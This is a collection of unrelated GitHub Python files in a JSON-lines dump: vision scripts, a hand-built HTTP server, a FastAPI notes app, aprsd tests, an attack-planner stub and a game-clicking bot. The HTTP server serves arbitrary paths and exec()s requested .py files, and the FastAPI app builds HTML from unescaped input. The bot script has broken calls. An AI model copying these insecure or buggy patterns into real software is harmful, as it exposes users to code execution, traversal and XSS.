= cv2.waitKey(1)\n\tif k == 32: # spacebar\n\t\tplot_mesh_flag = not(plot_mesh_flag)\n\telif k == 27: # esc\n\t\tcap.release()\n\t\tcv2.destroyAllWindows()\n\t\tbreak\n\n\n\t\t","repo_name":"sagifu/mediapipeTesting","sub_path":"mediaPipeFaceLandmarks.py","file_name":"mediaPipeFaceLandmarks.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"22780503095","text":"import sys\nimport cv2\nimport os\nimport random\nimport numpy as np\nimport argparse\n\n\ndef to_square(x, y, w, h):\n\tif w > h:\n\t\tgap = (w - h) / 2\n\t\ty -= gap\n\t\tface_size = w\n\telse:\n\t\tgap = (h - w) / 2\n\t\tx -= gap\n\t\tface_size = h\n\texpand = int(0.1 * face_size)\n\tbox_size = face_size + 2 * expand\n\tbox_x = x - expand\n\tbox_y = y - expand\n\treturn box_x, box_y, box_size, expand, face_size\n\n\ndef main(face_annot, nor_path, abnor_path, nor_face, abnor_face):\n\troot_path = \"/home/zhangbin/Pos\"\n\tface_annot = open(face_annot)\n\tif not os.path.exists(nor_path):\n\t\tos.makedirs(nor_path)\n\tif not os.path.exists(abnor_path):\n\t\tos.makedirs(abnor_path)\n\tnor_face = open(nor_face,'w')\n\tabnor_face = open(abnor_face,'w')\n\timageIndex = 0\n\twhile 1:\n\t\tline = face_annot.readline()\n\t\timageIndex += 1\n\t\tif not line:\n\t\t\tbreak\n\t\tprint(\"processing image \" + str(imageIndex))\n\t\tline = line.strip('\\n')\n\t\tinit_name = line.split('/')[-1].split('.')[0]\n\t\timage_path = os.path.join(root_path, line)\n\t\torg_img = cv2.imread(image_path)\n\t\treflect = cv2.copyMakeBorder(org_img, 100, 100, 100, 100, cv2.BORDER_REPLICATE)\n\t\tcnt = face_annot.readline()\n\t\tcnt = cnt.strip('\\n')\n\t\tif int(cnt) == 1:\n\t\t\tflag = True\n\t\telse:\n\t\t\tflag = False\n\t\tfor i in range(int(cnt)):\n\t\t\tline = face_annot.readline()\n\t\t\tif flag:\n\t\t\t\tline = line.strip('\\n')\n\t\t\t\ttemp = line.split(' ')\n\t\t\t\tx = int(temp[0])\n\t\t\t\ty = int(temp[1])\n\t\t\t\tw = int(temp[2])\n\t\t\t\th = int(temp[3])\n\t\t\t\tif x < 0:\n\t\t\t\t\tw += x\n\t\t\t\t\tx = 0\n\t\t\t\tif y < 0:\n\t\t\t\t\th += y\n\t\t\t\t\ty = 0\n\t\t\t\tbox_x, box_y, box_size, expand, face_size = to_square(x, y, w, h)\n\t\t\t\tprint(box_x, box_y, box_size, expand, face_size)\n\t\t\t\tbox_x += 100\n\t\t\t\tbox_y += 100\n\t\t\t\tcrop_img = reflect[box_y:box_y+box_size, box_x:box_x+box_size]\n\t\t\t\timage_name = init_name + '.png'\n\t\t\t\tif box_x + expand < 100 or box_y + expand < 100:\n\t\t\t\t\tsave_path = os.path.join(abnor_path, image_name)\n\t\t\t\t\tprint(save_path)\n\t\t\t\t\tcv2.imwrite(save_path, crop_img)\n\t\t\t\t\tabnor_face.write(save_path + ' ' + str(expand) + ' ' + str(expand) + ' ' + str(face_size) + ' ' + str(face_size) + '\\n')\n\t\t\t\telse:\n\t\t\t\t\tsave_path = os.path.join(nor_path, image_name)\n\t\t\t\t\tprint(save_path)\n\t\t\t\t\tcv2.imwrite(save_path, crop_img)\n\t\t\t\t\tnor_face.write(save_path + ' ' + str(expand) + ' ' + str(expand) + ' ' + str(face_size) + ' ' + str(face_size) + '\\n')\n\n\tface_annot.close()\n\tnor_face.close()\n\tabnor_face.close()\n\ndef parse_args():\n\tparser = argparse.ArgumentParser(description='pos annotation converter')\n\tparser.add_argument('-a', '--annot', dest='annot', type=str, default='./685pos_detected.txt', help='annotation list like fddb list format')\n\tparser.add_argument('-ap', '--abnor_path', dest='abnor_path', type=str, default='', help='the root path to save abnormal faces')\n\tparser.add_argument('-al', '--abnor_list', dest='abnor_list', type=str, default='', help='the list to store abnormal face position info')\n\tparser.add_argument('-np', '--nor_path', dest='nor_path', type=str, default='', help='the root path to save normal faces')\n\tparser.add_argument('-nl', '--nor_list', dest='nor_list', type=str, default='', help='the list to store normal face position info')\n\targs = parser.parse_args()\n\treturn args\n\nif __name__ == '__main__':\n\targs = parse_args()\n\tmain(args.annot, args.nor_path, args.abnor_path, args.nor_list, args.abnor_list)\n\n","repo_name":"batscars/Script","sub_path":"utils/argparser_example.py","file_name":"argparser_example.py","file_ext":"py","file_size_in_byte":3268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"39180693262","text":"from socket import *\nfrom threading import *\nimport sys\nimport urllib.parse\n\nclass Server(Thread):\n def __init__(self, ipaddr, port):\n super().__init__()\n self.__ipaddr = ipaddr\n self.__port = port\n self.__isRun = True\n\n def run(self):\n self.__server = socket(AF_INET, SOCK_STREAM)\n self.__server.bind((self.__ipaddr, self.__port))\n self.__server.listen()\n\n while self.__isRun == True :\n #print(\"\\nСервер ожидает запрос на установление соединения\")\n try :\n client, address = self.__server.accept() # кортеж из 2 элементов\n except :\n continue\n #print(\"Соединение установлено : \", client.getpeername())\n #print(\"address = \", address[0] + \" : \" + str(address[1]))\n\n onlinelist.append(client.getpeername())\n T = ClientThread(client)\n T.setDaemon(True)\n T.start()\n\n def stop(self) :\n self.__isRun = False\n self.__server.close()\n\nclass ClientThread(Thread):\n def __init__(self, client):\n super().__init__()\n self.__client = client\n\n def run(self):\n while True :\n # ------------получаем и обрабатываем полученный запрос от клиента ---------------------\n data = self.__client.recv(4096)\n if len(data) == 0 : # если получено 0 байт, то это разрыв соединения\n break\n #print(\"получено от клиента : \\n\", data.decode(\"utf-8\")) #меняем 11.05.19\n # ------------обрабатываем полученный запрос ---------------------\n msg = self.handleRequest(data.decode('utf-8'))\n\n # ------------отправляем ответ клиенту ---------------------------\n self.__client.send(msg.encode('utf-8'))\n #print(\"Connection closed\", self.__client.getpeername())\n onlinelist.remove(self.__client.getpeername())\n self.__client.close()\n \n def handleRequest(self, request):\n #------- получение имени запрашиваемого файла -----------\n arrFilds = request.split(\"\\r\\n\")\n arrFirstLine = arrFilds[0].split(\" \")\n #print(\"Имя файла : \", arrFirstLine[1])\n \n #-------- arrFirstLine[0] ===> GET или POST\n# проверка наличия переменной в locals (локальной переменной) :\n# if 'myVar' in locals():\n# myVar exists\n# проверка наличия переменной в globals (глобальной переменной) :\n# if 'myVar' in globals():\n# myVar exists\n if arrFirstLine[0] == \"GET\" :\n if arrFirstLine[1].find(\"?\") != -1:\n tmp = arrFirstLine[1].split(\"?\")\n arrFirstLine[1] = tmp[0] # Перед знаком вопроса - имя файла\n # tmp[1] - строка \"имя=значение&имя=значение\"\n tmp = tmp[1].split(\"&\") # tmp - список элемнтов \"имя=значение\"\n globals()[\"GET\"] = {} # GET пустой словарь с добавлением в глобальные переменные\n for item in tmp :\n v = item.split(\"=\")\n GET[v[0]] = urllib.parse.unquote(v[1])\n print(\"Key : \", v[0], \", Value : \", urllib.parse.unquote(v[1]))\n\n elif arrFirstLine[0] == \"POST\" :\n tmp = request.split(\"\\r\\n\\r\\n\") # tmp[0] - заголовок, tmp[1] - тело HTTP запроса\n tmp = tmp[1].split(\"&\") # tmp - список элементов \"имя=значение\"\n globals()[\"POST\"] = {} # POST пустой словарь с добавлением в глобальные переменные\n for item in tmp :\n v = item.split(\"=\")\n POST[v[0]] = urllib.parse.unquote(v[1])\n print(\"Key : \", v[0], \", Value : \", urllib.parse.unquote(v[1]))\n try :\n f = open(\".\" + arrFirstLine[1], \"r\", encoding=\"utf-8\" )\n allText = f.read()\n #print(allText)\n buf = allText.encode(\"utf-8\")\n length = str(len(buf))\n\n contentType = \"Content-Type: text/html; charset=utf-8\\r\\n\"\n\n if arrFirstLine[1].endswith(\".css\") :\n contentType = \"Content-Type: text/css; charset=utf-8\\r\\n\"\n elif arrFirstLine[1].endswith(\".png\") :\n contentType = \"Content-Type: image/png; charset=utf-8\\r\\n\"\n length = len(allText)\n elif arrFirstLine[1].endswith(\".jpg\") :\n contentType = \"Content-Type: image/jpg; charset=utf-8\\r\\n\"\n length = len(allText)\n elif arrFirstLine[1].endswith(\".py\") : \n contentType = \"Content-Type: text/html; charset=utf-8\\r\\n\"\n #elif arrFirstLine[1].endswith(\".zip\") : \n # contentType = \"Content-Type: application/zip; charset=utf-8\\r\\n\"\n # length = len(allText)\n # создаем экземпляр объекта \n from io import StringIO\n codeOut = StringIO() # буфер в который будут попадать данные, выводимые print\n sys.stdout = codeOut\n exec(allText) # allText - файлик, который запрашивает браузер\n sys.stdout = sys.__stdout__\n allText = codeOut.getvalue()\n codeOut.close()\n mybytes = bytes(allText, 'utf-8')\n # length = str(len(allText))\n length = str(len(mybytes)) # Считаем колличество байтов а не симоволов\n\n msg = \"HTTP/1.1 200 OK\\r\\n\" + contentType + \"Content-Length: \" + str(length) + \"\\r\\n\" + \"Connection: close\\r\\n\\r\\n\" + allText\n #print(allText)\n f.close()\n except Exception as e:\n print(e)\n msg = \"HTTP/1.1 404 NOT FOUND\\r\\n\" + \"Content-Type: text/html; charset=utf-8\\r\\n\" + \"Content-Length: 0\\r\\n\" + \"Connection: close\\r\\n\\r\\n\" \n #------- возврат ответа --------------\n return msg \n\nIP = \"192.168.0.102\"\n#IP = \"192.168.92.25\"\n#IP = \"10.3.11.11\"\nS = Server(IP, 80)\nS.start()\n\nonlinelist = list()\nwhile True :\n value = input(\"Press to exit or press 1 to show clients online\")\n if len(value) == 0 :\n break\n for item in onlinelist :\n print(item)\nS.stop()","repo_name":"dima2333/Diplom","sub_path":"serverV3.py","file_name":"serverV3.py","file_ext":"py","file_size_in_byte":6969,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"14388797751","text":"modCache = {}\ndef apw_load_module (klazz, module_):\n\tv = (klazz, module_)\n\tglobal modCache\n\ttry:\n\t\trv=modCache[v]\n\texcept KeyError:\n\t\t# \n\t\tmm = __import__('AppWorks.%s.%s'%(module_,klazz))\n\t\tkl = mm.__dict__[module_].__dict__[klazz]\n\t\t#print 'kl',kl\n\t\t# \n\t\tmodCache[v]=kl\n\t\trv=kl\n\treturn rv\ndef apw_load_class (klazz, module_):\n\treturn apw_load_module (klazz, module_).__dict__ [klazz]\n\n","repo_name":"oluworld/DBiTests","sub_path":"AppWorks/File/apw_load.py","file_name":"apw_load.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"74332522405","text":"from typing import List\nfrom fastapi import FastAPI, Form\nfrom fastapi.responses import HTMLResponse, RedirectResponse\nfrom fastapi.staticfiles import StaticFiles\nfrom fastapi import Depends, FastAPI\nimport crud\nimport models\nfrom database import SessionLocal, db_engine\n\nmodels.Base.metadata.create_all(bind=db_engine)\n\napp = FastAPI()\n\ndef get_db():\n db = SessionLocal()\n try:\n yield db\n finally:\n db.close()\n\n\n# css\napp.mount(\"/static\", StaticFiles(directory=\"static\"), name=\"static\")\n\n@app.get(\"/{idUser}\")\nasync def get_root(idUser: int, db: SessionLocal = Depends(get_db)):\n #Get info from DB\n \n try:\n user_info = crud.get_user(db, idUser) \n if user_info is None:\n raise KeyNotFoundError\n fn = \"index.html\"\n except Exception as e:\n print(e)\n fn = \"error.html\"\n with open(fn, \"r\", encoding=\"utf-8\") as f:\n content = f.read()\n return HTMLResponse(content=content)\n \n classes_info = crud.get_all_classes(db, idUser)\n\n with open(fn, \"r\", encoding=\"utf-8\") as f:\n content = f.read()\n \n # Assemble response\n structured_response = \"\"\n structured_response+= f\"

    Usuário: {user_info.nameUser}

    \"\n structured_response+= \"

    Disciplinas

    \"\n structured_response+= \"
      \"\n for disc in classes_info:\n structured_response+= f\"\"\"
    • {disc.nameClass}
    • \n
      \n \n \n
      \n
      \n \n \n \n
      \n \"\"\"\n structured_response+= \"
        \"\n notes_info = crud.get_all_notes(db, disc.idClass, idUser)\n for note in notes_info:\n structured_response+= f\"
      • {note.nota}
      • \"\n structured_response+= \"
      \"\n structured_response+= \"
    \"\n\n structured_response += f\"
    \"\n\n # Update html and send\n content = content.replace(\"[INSERT USER CONTENT HERE]\", structured_response) \n return HTMLResponse(content=content)\n\n@app.get(\"/update/\")\nasync def update_class(idUser: int, idClass: int, db: SessionLocal = Depends(get_db)):\n\n fn = \"update.html\"\n try:\n user_info = crud.get_user(db, idUser) \n if user_info is None:\n raise KeyNotFoundError\n except Exception as e:\n print(e)\n fn = \"error.html\"\n with open(fn, \"r\", encoding=\"utf-8\") as f:\n content = f.read()\n return HTMLResponse(content=content)\n\n try:\n class_info = crud.get_class(db, idUser, idClass) \n if class_info is None:\n raise KeyNotFoundError\n except Exception as e:\n print(e)\n fn = \"error.html\"\n with open(fn, \"r\", encoding=\"utf-8\") as f:\n content = f.read()\n return HTMLResponse(content=content)\n\n \n all_notes = crud.get_all_notes(db, idClass, idUser)\n\n\n\n with open(fn, \"r\", encoding=\"utf-8\") as f:\n content = f.read()\n\n resp = \"\"\n i = 0\n for e in all_notes:\n resp += f'
    '\n i +=1\n\n resp += '

    Nova anotação:

    '\n resp += f'
    '\n \n \n # Update html and send\n content = content.replace(\"[NOME DA DISCIPLINA]\", f\"{class_info[0].nameClass}\")\n content = content.replace(\"[NOME DO PROFESSOR]\", f\"{class_info[0].Professor}\")\n content = content.replace(\"[ANOTAÇÕES]\", resp) \n content = content.replace(\"[ID_USUÁRIO]\", str(idUser))\n content = content.replace(\"[ID_CLASS]\", str(idClass))\n return HTMLResponse(content=content)\n\n@app.get(\"/create/{idUser}\")\nasync def create_class(idUser: int, db: SessionLocal = Depends(get_db)):\n fn = \"create.html\"\n try:\n user_info = crud.get_user(db, idUser) \n if user_info is None:\n raise KeyNotFoundError\n except Exception as e:\n print(e)\n fn = \"error.html\"\n with open(fn, \"r\", encoding=\"utf-8\") as f:\n content = f.read()\n return HTMLResponse(content=content)\n\n classes_info = crud.get_all_classes(db, idUser)\n \n with open(fn, \"r\", encoding=\"utf-8\") as f:\n content = f.read()\n content = content.replace(\"[ID_USUÁRIO]\", str(idUser))\n return HTMLResponse(content=content)\n\n@app.post(\"/{idUser}\")\nasync def post_new_class(idUser: int, nameClass: str = Form(...), professorName: str = Form(...), db: SessionLocal = Depends(get_db)):\n try:\n user_info = crud.get_user(db, idUser) \n if user_info is None:\n raise KeyNotFoundError\n except Exception as e:\n print(e)\n fn = \"error.html\"\n with open(fn, \"r\", encoding=\"utf-8\") as f:\n content = f.read()\n return HTMLResponse(content=content)\n\n\n all_classes = crud.get_all_classes(db, idUser)\n if nameClass.lower().strip() in [e.nameClass.lower().strip() for e in all_classes]:\n return RedirectResponse(url = f\"/create/{idUser}\", status_code = 302)\n\n crud.create_class(db, nameClass, professorName, idUser)\n\n return RedirectResponse(url=f\"/{idUser}\",status_code=302)\n\n# Era pra ser um PUT/PATCH, mas o form do HTML não suporta nenhum verbo exceto GET/POST\n@app.post(\"/update_class_info/{idUser}\")\nasync def update_class(idUser: int, idClass: int = Form(...), nameClass: str = Form(...), professor_name: str = Form(...), notes: List[str] = Form(...), db: SessionLocal = Depends(get_db)):\n try:\n user_info = crud.get_user(db, idUser) \n if user_info is None:\n raise KeyNotFoundError\n except Exception as e:\n print(e)\n fn = \"error.html\"\n with open(fn, \"r\", encoding=\"utf-8\") as f:\n content = f.read()\n return HTMLResponse(content=content) \n \n try:\n class_info = crud.get_class(db, idUser, idClass) \n if class_info is None:\n raise KeyNotFoundError\n except Exception as e:\n print(e)\n fn = \"error.html\"\n with open(fn, \"r\", encoding=\"utf-8\") as f:\n content = f.read()\n return HTMLResponse(content=content)\n \n if nameClass.lower().strip() in [e.nameClass.lower().strip() for e in class_info]:\n RedirectResponse(url = f\"/update/?idUser={idUser}&idClass={idClass}\", status_code = 302)\n\n #def update_class(db:Session, class_id: int, new_name: str, new_prof:str):\n\n all_ids = []\n used_ids = []\n all_notes = crud.get_all_notes(db, idClass, idUser)\n for n in all_notes:\n all_ids.append(n.idNote)\n new_notes = [n for n in notes if (n is not None and n.strip() != \"\")] # Copia só os não nulos\n \n if len(new_notes) > len(all_notes):\n for i in range(len(all_notes)):\n used_ids.append(all_notes[i].idNote)\n crud.update_note(db, all_notes[i].idNote, new_notes[i])\n \n else:\n for i in range(len(new_notes)):\n used_ids.append(all_notes[i].idNote)\n crud.update_note(db, all_notes[i].idNote, new_notes[i])\n\n \n diff_ids = list(set(all_ids) - set(used_ids))\n\n if len(new_notes) > len(all_notes):\n crud.create_note(db, idUser, idClass, new_notes[-1])\n\n for id in diff_ids:\n crud.delete_note(db, id)\n\n crud.update_class(db, idClass, nameClass, professor_name)\n\n return RedirectResponse(url=f\"/{idUser}\",status_code=302)\n \n# DELETE, só que não\n@app.post(\"/delete_class/{idUser}\")\nasync def update_class(idUser: int, idClass: int = Form(...), db: SessionLocal = Depends(get_db)):\n print(idClass)\n try:\n user_info = crud.get_user(db, idUser) \n if user_info is None:\n raise KeyNotFoundError\n except Exception as e:\n fn = \"error.html\"\n with open(fn, \"r\", encoding=\"utf-8\") as f:\n content = f.read()\n return HTMLResponse(content=content)\n\n\n crud.delete_class(db, idUser, idClass)\n\n return RedirectResponse(url=f\"/{idUser}\",status_code=302)","repo_name":"CEDipEngineering/SchoolGradesORM","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"2806620948","text":"from unittest import mock\n\nfrom oslo_config import cfg\n\nfrom aprsd import client, packets\nfrom aprsd import conf # noqa: F401\nfrom aprsd.plugins import notify as notify_plugin\n\nfrom .. import fake, test_plugin\n\n\nCONF = cfg.CONF\nDEFAULT_WATCHLIST_CALLSIGNS = fake.FAKE_FROM_CALLSIGN\n\n\nclass TestWatchListPlugin(test_plugin.TestPlugin):\n def setUp(self):\n self.fromcall = fake.FAKE_FROM_CALLSIGN\n self.ack = 1\n\n def config_and_init(\n self,\n watchlist_enabled=True,\n watchlist_alert_callsign=None,\n watchlist_alert_time_seconds=None,\n watchlist_packet_keep_count=None,\n watchlist_callsigns=DEFAULT_WATCHLIST_CALLSIGNS,\n ):\n CONF.callsign = self.fromcall\n CONF.aprs_network.login = self.fromcall\n CONF.aprs_fi.apiKey = \"something\"\n\n # Set the watchlist specific config options\n CONF.watch_list.enabled = watchlist_enabled\n\n if not watchlist_alert_callsign:\n watchlist_alert_callsign = fake.FAKE_TO_CALLSIGN\n CONF.watch_list.alert_callsign = watchlist_alert_callsign\n\n if not watchlist_alert_time_seconds:\n watchlist_alert_time_seconds = CONF.watch_list.alert_time_seconds\n CONF.watch_list.alert_time_seconds = watchlist_alert_time_seconds\n\n if not watchlist_packet_keep_count:\n watchlist_packet_keep_count = CONF.watch_list.packet_keep_count\n CONF.watch_list.packet_keep_count = watchlist_packet_keep_count\n\n CONF.watch_list.callsigns = watchlist_callsigns\n\n\nclass TestAPRSDWatchListPluginBase(TestWatchListPlugin):\n\n def test_watchlist_not_enabled(self):\n self.config_and_init(watchlist_enabled=False)\n plugin = fake.FakeWatchListPlugin()\n\n packet = fake.fake_packet(\n message=\"version\",\n msg_number=1,\n )\n actual = plugin.filter(packet)\n expected = packets.NULL_MESSAGE\n self.assertEqual(expected, actual)\n\n @mock.patch(\"aprsd.client.ClientFactory\", autospec=True)\n def test_watchlist_not_in_watchlist(self, mock_factory):\n client.factory = mock_factory\n self.config_and_init()\n plugin = fake.FakeWatchListPlugin()\n\n packet = fake.fake_packet(\n fromcall=\"FAKE\",\n message=\"version\",\n msg_number=1,\n )\n actual = plugin.filter(packet)\n expected = packets.NULL_MESSAGE\n self.assertEqual(expected, actual)\n\n\nclass TestNotifySeenPlugin(TestWatchListPlugin):\n\n def test_disabled(self):\n self.config_and_init(watchlist_enabled=False)\n plugin = notify_plugin.NotifySeenPlugin()\n\n packet = fake.fake_packet(\n message=\"version\",\n msg_number=1,\n )\n actual = plugin.filter(packet)\n expected = packets.NULL_MESSAGE\n self.assertEqual(expected, actual)\n\n @mock.patch(\"aprsd.client.ClientFactory\", autospec=True)\n def test_callsign_not_in_watchlist(self, mock_factory):\n client.factory = mock_factory\n self.config_and_init(watchlist_enabled=False)\n plugin = notify_plugin.NotifySeenPlugin()\n\n packet = fake.fake_packet(\n message=\"version\",\n msg_number=1,\n )\n actual = plugin.filter(packet)\n expected = packets.NULL_MESSAGE\n self.assertEqual(expected, actual)\n\n @mock.patch(\"aprsd.client.ClientFactory\", autospec=True)\n @mock.patch(\"aprsd.packets.WatchList.is_old\")\n def test_callsign_in_watchlist_not_old(self, mock_is_old, mock_factory):\n client.factory = mock_factory\n mock_is_old.return_value = False\n self.config_and_init(\n watchlist_enabled=True,\n watchlist_callsigns=[\"WB4BOR\"],\n )\n plugin = notify_plugin.NotifySeenPlugin()\n\n packet = fake.fake_packet(\n fromcall=\"WB4BOR\",\n message=\"ping\",\n msg_number=1,\n )\n actual = plugin.filter(packet)\n expected = packets.NULL_MESSAGE\n self.assertEqual(expected, actual)\n\n @mock.patch(\"aprsd.client.ClientFactory\", autospec=True)\n @mock.patch(\"aprsd.packets.WatchList.is_old\")\n def test_callsign_in_watchlist_old_same_alert_callsign(self, mock_is_old, mock_factory):\n client.factory = mock_factory\n mock_is_old.return_value = True\n self.config_and_init(\n watchlist_enabled=True,\n watchlist_alert_callsign=\"WB4BOR\",\n watchlist_callsigns=[\"WB4BOR\"],\n )\n plugin = notify_plugin.NotifySeenPlugin()\n\n packet = fake.fake_packet(\n fromcall=\"WB4BOR\",\n message=\"ping\",\n msg_number=1,\n )\n actual = plugin.filter(packet)\n expected = packets.NULL_MESSAGE\n self.assertEqual(expected, actual)\n\n @mock.patch(\"aprsd.client.ClientFactory\", autospec=True)\n @mock.patch(\"aprsd.packets.WatchList.is_old\")\n def test_callsign_in_watchlist_old_send_alert(self, mock_is_old, mock_factory):\n client.factory = mock_factory\n mock_is_old.return_value = True\n notify_callsign = fake.FAKE_TO_CALLSIGN\n fromcall = \"WB4BOR\"\n self.config_and_init(\n watchlist_enabled=True,\n watchlist_alert_callsign=notify_callsign,\n watchlist_callsigns=[\"WB4BOR\"],\n )\n plugin = notify_plugin.NotifySeenPlugin()\n\n packet = fake.fake_packet(\n fromcall=fromcall,\n message=\"ping\",\n msg_number=1,\n )\n packet_type = packet.__class__.__name__\n actual = plugin.filter(packet)\n msg = f\"{fromcall} was just seen by type:'{packet_type}'\"\n\n self.assertIsInstance(actual, packets.MessagePacket)\n self.assertEqual(fake.FAKE_FROM_CALLSIGN, actual.from_call)\n self.assertEqual(notify_callsign, actual.to_call)\n self.assertEqual(msg, actual.message_text)\n","repo_name":"craigerl/aprsd","sub_path":"tests/plugins/test_notify.py","file_name":"test_notify.py","file_ext":"py","file_size_in_byte":5895,"program_lang":"python","lang":"en","doc_type":"code","stars":93,"dataset":"github-code","pt":"52"} +{"seq_id":"33724020281","text":"#!/usr/bin/env python3\nimport argparse\nfrom utils.utils import read_records_from_json\nfrom attack_manager import AttackManager\nfrom condition import Condition\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Attack agent\")\n parser.add_argument('-f',\n '--filename',\n help='database filename',\n dest='db_file')\n parser.add_argument('-p',\n '--port',\n help='Listener port number (default port is 10000)',\n type=int,\n default=10000)\n parser.add_argument('-ip',\n help='Listener ip address',\n type=str)\n args = parser.parse_args()\n if args.db_file is not None:\n database_records = read_records_from_json(args.db_file)\n manager = AttackManager(database_records)\n manager.update()\n print(manager)\n # assumed_target_state = {\"protocol\": \"ip\", \"address\": \"127.0.0.1\"}\n\n goal = Condition()\n goal.add((\"shell\", \"EQ PERMANENT\"))\n goal.add((\"privilege\", \"EQ 0\"))\n print(goal)\n else:\n print('invalid DB file')\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"malfagham/Attackgenerator","sub_path":"attack_agent.py","file_name":"attack_agent.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"17586774834","text":"# encoding: utf-8\n# 少女前線 使用腳本\n# import cv2\nimport random\nimport time\nimport win32api\nimport win32gui\nimport win32con\nimport mymod\nimport GUI\nfrom PIL import ImageGrab\nfrom ctypes import *\n\n\ndef main():\n dlg = mymod.Findwindows(u\"夜神模擬器\") # 依照視窗標題尋找句柄\n if dlg != 0:\n # print (dlg)\n win32gui.ShowWindow(dlg[0], win32con.SW_RESTORE)\n win32gui.SetForegroundWindow(dlg[0]) # 將視窗至回前景\n time.sleep(2)\n arry = win32gui.GetWindowRect(dlg[0]) # 獲得視窗座標(起始點X,起始點Y,終點X,終點Y)\n print(u\"視窗位置:\", arry[0], arry[1])\n print(u\"視窗大小\", arry[2] - arry[0], arry[3] - arry[1])\n\n # 以上獲取視窗資訊\n zeropos = [arry[0], arry[1]]\n moveCurPos(1326, 568)\n time.sleep(4)\n # pic = ImageGrab.grab(arry)\n # pic.show()\n test(zeropos[0], zeropos[1], dlg[0])\n # Fight3_3E(zeropos[0],zeropos[1])\n\n else:\n print(u\"視窗尋找失敗請確定視窗存在\")\n\n\ndef move_click(x, y): # 移動後點\n windll.user32.SetCursorPos(x, y)\n time.sleep(0.1)\n win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN | win32con.MOUSEEVENTF_LEFTUP, 10, 10)\n\n\ndef clickLeftCur(): # 模擬點\n time.sleep(0.1)\n win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN | win32con.MOUSEEVENTF_LEFTUP, 10, 10)\n\n\ndef moveCurPos(x, y): # 模擬移動\n windll.user32.SetCursorPos(x, y)\n\n\ndef getCurPos(): # 取得游標\n return win32gui.GetCursorPos()\n\n\n# def FindPic(ux,uy,dx,dy,path,like):#模糊找圖\ndef move_down(x, y):\n windll.user32.SetCursorPos(x, y, rw, ry)\n time.sleep(0.1)\n win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, 10, 10)\n win32api.mouse_event(win32con.MOUSEEVENTF_MOVE, rw, ry)\n win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, 10, 10)\n\n\ndef test(zx, zy, humd):\n Menu_Repair(zx, zy)\n Menu_Reseaarch(zx, zy)\n Menu_Fight(humd)\n Menu_Dormitory(zx, zy)\n Menu_Factory(zx, zy)\n Menu_Compiled(zx, zy)\n print(u\"測試完成\")\n\n\ndef Menu_Repair(zx, zy): #修復\n rx = random.randrange(0, 115) #誤差\n ry = random.randrange(0, 52)\n windll.user32.SetCursorPos(zx + 630 + rx, zy + 175 + ry) #修復\n time.sleep(1)\n\n\ndef Menu_Reseaarch(zx, zy): #研發\n rx = random.randrange(0, 115) #誤差\n ry = random.randrange(0, 52)\n windll.user32.SetCursorPos(zx + 630 + rx, zy + 275 + ry) #研發\n time.sleep(1)\n\n\ndef Menu_Fight(humd): #戰鬥\n rx = random.randrange(0, 115) #誤差\n ry = random.randrange(0, 52)\n point = mymod.Findimg(humd, \"img\\\\combat.png\")\n print(point[0], point[1])\n windll.user32.SetCursorPos(int(point[0] + rx), int(point[1] + ry)) #戰鬥\n time.sleep(1)\n\n\ndef Menu_Dormitory(zx, zy): #宿舍\n rx = random.randrange(0, 115) #誤差\n ry = random.randrange(0, 52)\n windll.user32.SetCursorPos(zx + 810 + rx, zy + 175 + ry) #宿舍\n time.sleep(1)\n\n\ndef Menu_Factory(zx, zy): #工廠\n rx = random.randrange(0, 115) #誤差\n ry = random.randrange(0, 52)\n windll.user32.SetCursorPos(zx + 810 + rx, zy + 275 + ry) #工廠\n time.sleep(1)\n\n\ndef Menu_Compiled(zx, zy): #編成\n rx = random.randrange(0, 115) #誤差\n ry = random.randrange(0, 52)\n windll.user32.SetCursorPos(zx + 810 + rx, zy + 375 + ry) #編成\n time.sleep(1)\n\n\ndef Fight3_3E(zx, zy):\n rx = random.randrange(0, 72) #誤差\n ry = random.randrange(0, 44)\n Menu_Fight(zx, zy)\n clickLeftCur()\n time.sleep(3)\n move_click(zx + 154 + rx, zy + 352 + ry) #第三戰役\n time.sleep(1.5)\n move_click(zx + 804 + rx, zy + 156 + ry) #緊急\n time.sleep(1.5)\n move_click(zx + 512 + rx, zy + 405 + ry) #關卡3-3\n time.sleep(1.5)\n move_click(zx + 450 + rx, zy + 459 + ry) #普通作戰\n time.sleep(5)\n rx = random.randrange(0, 25) #誤差縮小\n ry = random.randrange(0, 25) #誤差縮小\n move_click(zx + 517 + rx, zy + 339 + ry) #點選指揮部\n time.sleep(2.5)\n move_click(zx + 853 + rx, zy + 504 + ry) #部屬\n time.sleep(1)\n\n\nmain()","repo_name":"sklonely/python","sub_path":"少前/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4094,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"38766115753","text":"from yugioh_cardDB.models import CardId, Pack, Rarity, PackOfficialName\nimport sys\n\nfile = open(\"yugioh_cardDB/texts/card_ids/special_id_list.txt\", \"r\", encoding=\"utf-8\")\ntexts = file.readlines()\nfile.close()\n\n\ndef registrationCardId(soup, card):\n table = soup.select_one(\"div#pack_list > table\")\n tr_list = table.find_all(\"tr\", class_=\"row\")\n for tr in tr_list:\n td_list = tr.find_all(\"td\")\n rarity_td = td_list[3]\n rarity = checkRarity(rarity_td)\n card_id_string = td_list[1].text\n if card_id_string.strip() and CardId.objects.filter(card_id=card_id_string).exists():\n card_id = CardId.objects.filter(card_id=card_id_string).first()\n elif card_id_string.strip():\n card_id = CardId(\n card_id=card_id_string,\n 